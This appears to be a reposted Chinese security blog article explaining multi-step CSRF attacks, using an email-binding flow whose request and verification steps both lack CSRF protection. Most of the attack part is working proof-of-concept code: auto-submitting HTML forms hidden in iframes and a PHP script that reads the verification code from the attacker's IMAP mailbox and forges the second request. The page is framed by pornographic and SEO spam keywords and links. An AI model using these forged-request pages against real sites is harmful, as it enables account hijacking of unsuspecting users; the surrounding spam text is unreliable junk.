成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

多步CSRF漏洞場(chǎng)景及其利用

安全 漏洞 應(yīng)用安全
平時(shí)大家討論的CSRF利用多是發(fā)送一次請(qǐng)求。比如CSRF刷粉絲,CSRF發(fā)微博。本文主要討論一個(gè)稍微復(fù)雜點(diǎn)的利用場(chǎng)景。

CSRF的漏洞原理和利用方式這里就不多贅述了。平時(shí)大家討論的CSRF利用多是發(fā)送一次請(qǐng)求。比如CSRF刷粉絲,CSRF發(fā)微博。這里主要討論一個(gè)稍微復(fù)雜點(diǎn)的利用場(chǎng)景。

最近在做測(cè)試的時(shí)候遇到一個(gè)案例,用戶綁定郵箱的請(qǐng)求沒(méi)有防御CSRF。但是大家都知道綁定郵箱這個(gè)操作不是一步完成了。這次遇到的這個(gè)案例是這樣的。用戶發(fā)送一個(gè)申請(qǐng)綁定郵箱的請(qǐng)求,服務(wù)器給該郵箱發(fā)送一個(gè)驗(yàn)證碼,然后用戶在頁(yè)面中輸入驗(yàn)證碼完成綁定。

多步CSRF漏洞場(chǎng)景及其利用

從上圖的路程中可以看出。按照常見(jiàn)的csrf的漏洞來(lái)說(shuō),這里是沒(méi)法利用的。因?yàn)榧词刮覀儌卧炝苏?qǐng)求,讓用戶發(fā)出了綁定申請(qǐng)的郵件,還需要用戶把這個(gè)驗(yàn)證碼在頁(yè)面上輸入才行。經(jīng)過(guò)更進(jìn)一步的分析發(fā)現(xiàn),圖中4這一步也是沒(méi)有防御CSRF的。也就是說(shuō)我們可以偽造兩次請(qǐng)求來(lái)實(shí)現(xiàn)CSRF綁定郵箱。這樣一個(gè)場(chǎng)景就是比較典型的多步CSRF。

有了思路就可以開(kāi)始寫(xiě)demo了。最初的想法:是不是用兩個(gè)表單就可以了呢。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST"  action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

測(cè)試發(fā)現(xiàn)這想法太天真了。***個(gè)表單提交之后,就會(huì)跳轉(zhuǎn)到返回的結(jié)果頁(yè)面了。第二個(gè)表單不會(huì)提交了。而且這里遇到的這個(gè)場(chǎng)景比較特殊,并不是僅僅是先后提交兩個(gè)表單就可以了。第二個(gè)表單里的值(驗(yàn)證碼)是需要***個(gè)表單提交之后,從郵箱里讀出來(lái)再放到第二個(gè)表單里。經(jīng)過(guò)查找資料。找到幾個(gè)解決方案。

解決方案1:

使用form的target屬性。target 屬性規(guī)定在何處打開(kāi) action URL。

多步CSRF漏洞場(chǎng)景及其利用

根據(jù)查到的資料。默認(rèn)是_self。所以會(huì)跳到結(jié)果頁(yè)。我們使用_blank試試。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  target=';_blank' action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='_blank' action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

這種方式可以實(shí)現(xiàn)兩次post的需求,不過(guò)太過(guò)暴力。需要新彈出窗口不說(shuō)。彈出窗口也很可能被瀏覽器攔截掉。

解決方案2:

target可以選擇一個(gè)frame。framename 在指定的框架中打開(kāi)。所以可以這樣寫(xiě)。這樣子可以比較優(yōu)雅的發(fā)兩個(gè)post請(qǐng)求。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST" target='csrfIframe1' action="https://www.baidu.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='csrfIframe2' action="https://www.baidu.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11.  window.onload = function() {  
  12.  document.getElementById("form1").submit();  
  13.  // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer  
  14.  document.getElementById("form2").submit();  
  15.  }  
  16. </script> 
  17. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe> 
  18. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe> 
  19. </body> </html> 

解決方案3:

使用iframe自然也是可以的。類(lèi)似

  1. <iframe src="2post3.html" width="0" height="0"> 
  2. </iframe> 
  3. <iframe src="2post4.html" width="0" height="0"> 
  4. </iframe> 

##具體到郵箱驗(yàn)證這個(gè)場(chǎng)景我使用了如下的一個(gè)poc。因?yàn)樾枰洁]箱中獲取驗(yàn)證碼。所以使用了兩個(gè)文件。

文件1:發(fā)送申請(qǐng)郵箱綁定的請(qǐng)求:

  1. <html> 
  2. <body> 
  3. <!-- hidden iframes --> 
  4. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe1"></iframe> 
  5. <form id="form1" action="http://xxxxxxxxxxx/security" method="POST" target="csrfIframe1"> 
  6. <input type="hidden" name="email" value="郵箱@qq.com" /> 
  7. </form> 
  8. <script> 
  9. document.getElementById("form1").submit();  
  10. </script> 
  11. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe22" src="http://localhost/test/mail.php"></iframe> 
  12. </body> 
  13. </html> 

文件2:iframe的文件需要去郵箱獲取驗(yàn)證碼拼到表單里。

  1. <?php  
  2. $mail = 'mail@qq.com';  
  3. $mailPass = 'pass';  
  4. sleep(2);//等待郵件發(fā)送  
  5. //以騰訊企業(yè)郵箱做了測(cè)試  
  6. $mailServer="imap.qq.com"//IMAP主機(jī)  
  7. $mailLink="{{$mailServer}:993/ssl}INBOX" ;   
  8. $mailUser = $mail//郵箱用戶名  
  9. $mbox = imap_open($mailLink,$mailUser,$mailPassor die("can't connect: " . imap_last_error()); //開(kāi)啟信箱imap_open  
  10. $totalrows = imap_num_msg($mbox);   
  11. // echo $totalrows;//取得信件數(shù)  
  12. $numcode = '';  
  13. $mailBody = imap_fetchbody($mbox$totalrows, 1); //獲取***的一封郵件  
  14. $mailBody = base64_decode($mailBody);  
  15. preg_match('/\d{6}/',$mailBody,$res);//匹配驗(yàn)證碼  
  16. $numcode = $res[0];  
  17. echo $numcode;  
  18. $form2 = '<html>  
  19. <body>  
  20. <form id="form2" action="http:xxxxxx" method="POST" target="csrfIframe2">  
  21. <input type="hidden" name="captchacode" value="'.$numcode.'" />  
  22. <input type="hidden" name="email" value="'.$mail.'" />  
  23. </form>  
  24. <script>  
  25. document.getElementById("form2").submit();</script>  
  26. </body>   
  27. </html>';  
  28. echo $form2

如有雷同純屬巧合。參考資料:

http://blog.opensecurityresearch.com/2014/05/multi-stagedmulti-form-csrf.html

http://ceriksen.com/2012/09/29/two-stage-csrf-attacks/

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreeBuf
相關(guān)推薦

2023-05-06 11:05:50

2013-04-24 15:56:40

2015-03-06 17:02:51

2014-07-17 15:47:52

2016-09-28 16:38:47

2012-11-08 10:49:47

CSRF漏洞漏洞鮮果網(wǎng)

2015-04-30 13:51:41

2019-09-17 10:06:46

數(shù)據(jù)庫(kù)程序員網(wǎng)絡(luò)安全

2016-06-08 10:09:24

2011-05-10 09:55:14

2021-03-06 09:50:43

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2021-11-10 11:51:33

BrakTooth安全漏洞藍(lán)牙設(shè)備

2022-04-01 10:04:27

]零日漏洞漏洞勒索軟件

2013-03-11 18:04:02

2016-04-29 10:58:13

2023-06-11 17:24:26

2020-10-14 09:44:52

漏洞

2009-08-15 10:19:01

漏洞利用php expEXP程序

2009-03-15 09:52:20

2016-01-12 10:44:00

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 天堂一区| 91国产视频在线观看 | 久久久久久国产精品免费免费男同 | 一级毛片视频 | 91久久| 91看片在线观看 | 国产精品视频不卡 | 久久一区二区三区四区 | 精品免费观看 | 欧美精品中文字幕久久二区 | 黑人巨大精品欧美一区二区免费 | 特级生活片 | 久久久精品欧美 | 国产成人一区在线 | 亚洲一区二区三区四区五区午夜 | 成人免费一区二区三区牛牛 | 中文字幕一区二区三区四区五区 | 久久久久亚洲av毛片大全 | 午夜电影网 | 91麻豆精品国产91久久久久久久久 | 欧美在线 | www.97zyz.com| 国产精品久久性 | 一区日韩| 日本成人中文字幕 | 天天干天天干 | 神马福利 | 色婷婷九月 | 亚洲色欲色欲www | 最新国产视频 | www在线| 毛片一区| 日韩欧美字幕 | 97精品视频在线观看 | 黄色免费av | aⅴ色国产 欧美 | www.国产91 | 精品国产乱码久久久久久88av | 精品91久久 | 久久国产成人精品国产成人亚洲 | 中文字幕亚洲视频 |